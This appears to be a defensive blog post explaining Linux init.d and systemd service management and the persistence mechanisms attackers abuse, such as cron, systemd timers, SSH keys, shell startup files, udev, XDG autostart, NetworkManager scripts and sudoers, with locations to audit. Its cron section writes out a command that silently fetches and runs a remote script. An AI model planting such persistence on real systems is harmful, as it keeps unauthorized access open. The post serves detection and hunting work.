top of page
Search

Understanding Linux Service Management Systems and Persistence Mechanisms in System Compromise

  • Apr 30
  • 6 min read
ree

Before I start, I have already touched on persistence mechanism in article (Exploring Linux Attack Vectors: How Cybercriminals Compromise Linux Servers)

If you want you can check it out link below:


---------------------------------------------------------------------------------------------------------


Understanding init.d and systemd

Service management in Linux has evolved significantly over the years, transitioning from traditional init.d scripts to the more modern systemd system. Both play crucial roles in starting, stopping, and managing background services (daemons), but they differ greatly in functionality, design, and usability.


  1. init.d: The Traditional System

The init.d system has historically been the backbone of Linux service management. It consists of shell scripts stored in the /etc/init.d directory, each designed to control the lifecycle of a specific service.


Common Commands

Service management through init.d typically involves:

  • start – Launch the service

  • stop – Terminate the service

  • restart – Stop and start the service again

  • status – Check if the service is running


Limitations

Despite being widely used for years, init.d has several limitations:

  • Lack of standardization: Script behaviors can vary widely

  • No built-in dependency handling: Scripts must manually ensure other services are available

  • Slower boot times due to serial service initialization


Runlevels

Runlevels define the state of the machine and what services should be running:

  • 0 – Halt

  • 1 – Single user mode

  • 2 – Multi-user, no network

  • 3 – Multi-user with networking

  • 4 – User-defined

  • 5 – Multi-user with GUI

  • 6 – Reboot


Management Tools

Depending on the Linux distribution:

  • Debian-based systems: Use update-rc.d to manage services

  • Fedora/RedHat-based systems: Use chkconfig for the same purpose


Script Location

  • /etc/init.d – Main location for service scripts


  1. systemd: The Modern Standard

Introduced in 2010, systemd was designed to overcome the shortcomings of traditional init systems. Although initially controversial, it has since become the default service manager in most major Linux distributions.


Advantages

  • Parallelized startup for faster boot times

  • Dependency management between services

  • Integrated logging through the systemd-journald service

  • Standardized unit files replace disparate shell scripts


Unit Files

Instead of shell scripts, systemd uses declarative unit files to define how services should behave. These files can be of different types, such as:


  • *.service – Defines a system service

  • *.socket – Socket activation

  • *.target – Grouping units for specific states (like runlevels)


Unit File Locations

  • /etc/systemd/system/ – Local overrides and custom service files

  • /lib/systemd/system/ – Package-installed units (symlinked to /usr/lib/systemd/system on some distros)

  • /usr/lib/systemd/system/ – Units installed by the operating system

 

---------------------------------------------------------------------------------------------------------


systemd Timers vs Cron Jobs

When it comes to establishing persistence on a Linux system, attackers and administrators alike have a range of tools at their disposal. Two commonly used scheduling mechanisms are systemd timers and cron jobs. Both serve the purpose of executing tasks at predefined intervals, but they differ in structure, control, and usage.


Let’s take a closer look at each.

  1. systemd Timers

With the adoption of systemd in most modern Linux distributions, systemd timers have emerged as a powerful and flexible way to schedule tasks. Much like Windows Scheduled Tasks, these timers can initiate background services at specific times or intervals.


How They Work

Systemd timers work in tandem with systemd service units. Typically, a timer will have a corresponding service file.

For instance:
  • data_exfil.timer → triggers

  • data_exfil.service


However, you can also explicitly define the service to trigger by adding Unit=custom.service in the .timer file.



Key systemd Timer Commands:

For managing systemd timers on a live system, use the following:


  • Enables the timer to start at boot

systemctl enable <name>.timer
  • Starts the timer immediately.

systemctl start <name>.timer
  • Displays the current status, including the last and next trigger times.

systemctl status <name>.timer

Why Use systemd Timers?

  • Granular control over execution intervals

  • Integration with other systemd features (dependencies, logging, etc.)

  • More readable and maintainable compared to complex cron entries



2. Cron Jobs

Cron has long been the go-to tool for task scheduling in Unix and Linux environments. It’s simple, reliable, and nearly universal.


Format:

<*> <*> <*> <*> <*> <command to execute>

<*> :- minute (0 - 59)

<*> :- hour (0 - 23)

<*> :- day of the month (1 - 31)

<*> :- month of the year (1 - 12)

<*> :- day of the week (0 - 7; 0/7 = SUN)


( * )=wildcard for any value

( , )= list multiple values

( - )= specify a range

( / )= set increments within a range


How It Works

Cron jobs are defined in crontab files, which contain entries with six fields:


/30   * wget -q -O - <Link>/attack.sh | sh

This example runs a command every 30 minutes, silently fetching and executing a remote script — a classic example of how cron can be used maliciously.


Crontab Commands

Use these on a live system to inspect cron jobs:

  • Lists current user’s cron jobs.

crontab -l

Cron File Locations

On Debian-based systems, cron-related files are typically found in:


/var/spool/cron/crontabs – per-user cron jobs
/etc/cron.d/, /etc/cron.daily/, /etc/cron.hourly/ – system-wide jobs

Why Use Cron?

  • Universally supported across Unix-like systems

  • Lightweight and straightforward

  • Does not require systemd


---------------------------------------------------------------------------------------------------------


Other Persistence Mechanisms

1. SSH as a Persistence Mechanism

SSH is one of the most reliable methods for attackers to maintain persistent access to a compromised system.

There are two primary types of SSH authentication mechanisms:

password-based and key-based. While password-based authentication is common, key-based authentication is often favored for persistence due to its robustness and ease of use.


How It Works:

An attacker generates a public/private key pair on their own machine and then places the public key into the victim system’s ~/.ssh/authorized_keys file. This allows them to authenticate to the system without needing to provide a password.


Key-based SSH authentication is popular because once set up, the attacker can access the system remotely and continuously, even if the initial password is changed.


To check for this persistence, system administrators should audit the following locations:

/home/<username>/.ssh/authorized_keys

If an unfamiliar key is present, it could indicate unauthorized access.


2. Bash Configuration Files

Another method for creating persistence on a compromised system involves manipulating Bash configuration files. These files are typically executed when a user logs into a Bash shell, making them ideal for executing malicious scripts or commands automatically.


Key Files to Review:

  1. Per-User Files:

/home/<username>/.bashrc
/home/<username>/.bash_profile

These files are executed each time a user opens a new terminal session. If an attacker has modified these files, they may have inserted a script to run malicious commands.


  1. Other Per-User Bash Files:

/home/<username>/.bash_login
/home/<username>/.bash_logout

These files are also executed during user login and logout events. Any modifications should be carefully reviewed.


  1. System-Wide Files:

/etc/bash.bashrc
/etc/profile
/etc/profile.d/*

The system-wide configuration files affect all users and may contain attacker's code or scripts. Check the modification timestamps for any unexpected changes.


  1. rc.local:

/etc/rc.local (if it exists)

This file, if present, runs scripts at system startup. While it might not exist by default on all systems, attackers can create it and add malicious commands to execute on boot.


3. udev Rules

udev is a device manager for the Linux kernel, responsible for managing device nodes in /dev. Attackers can exploit this by creating custom udev rules to trigger scripts based on hardware events, such as when a USB device is connected.


Key Files to Check:

/etc/udev/rules.d/

Review the files in this directory for any new or suspicious rules that might automatically execute a script when specific hardware is connected (e.g., a USB stick).


4. XDG Autostart

On systems with a graphical user interface (GUI), attackers may place scripts in directories related to XDG autostart. These scripts are automatically executed when the desktop environment starts, ensuring that malicious processes are launched every time the user logs in.


Key Files to Review:

  • System-Wide:

/etc/xdg/autostart/
  • Per-User:

/home/<username>/.config/autostart/

Any unfamiliar script in these directories could be a sign of persistent malware that runs whenever a user logs into the graphical environment.


5. Network Manager Scripts

The NetworkManager is responsible for managing network connections on Linux systems. Attackers can exploit this system by placing scripts in the NetworkManager's dispatcher directory to trigger actions during network events, such as when a specific network interface comes online.


Key Files to Review:

/etc/NetworkManager/dispatcher.d/

Scripts in this directory are executed whenever there are changes to network interfaces. Reviewing these files can reveal hidden scripts designed to execute during network events.


6. Modifying Sudoers for Elevated Privileges

Attackers often modify system configurations to ensure they can escalate privileges or maintain administrative access. One way to do this is by editing the sudoers file, which controls which users can run specific commands as root.


Example Sudoers Entry:

ALL=(ALL:ALL) ALL


This entry allows any user to execute any command as any other user, including root. Attackers might add themselves to this file to gain elevated privileges at will.


To check for unauthorized changes:

  • Use sudo vi to safely edit and inspect the /etc/sudoers file.

  • Look for unusual users or commands in the sudoers file that could grant an attacker unrestricted access.


---------------------------------------------------------------------------------------------------------

Conclusion

Persistence is a critical phase of the attack lifecycle. A comprehensive security audit should include checking not just user accounts and SSH keys but also background services, startup scripts, scheduled tasks, and even device event triggers. By understanding the various persistence mechanisms — from traditional cron jobs to modern systemd timers — security professionals can more effectively hunt, detect, and respond to adversarial activity before it escalates into a bigger breach.


Key Takeaway:

Effective persistence hunting means combining file integrity monitoring, service auditing, and user account audits into a regular security strategy.

------------------------------------------Dean----------------------------------------------------------

 
 
 

Comments


bottom of page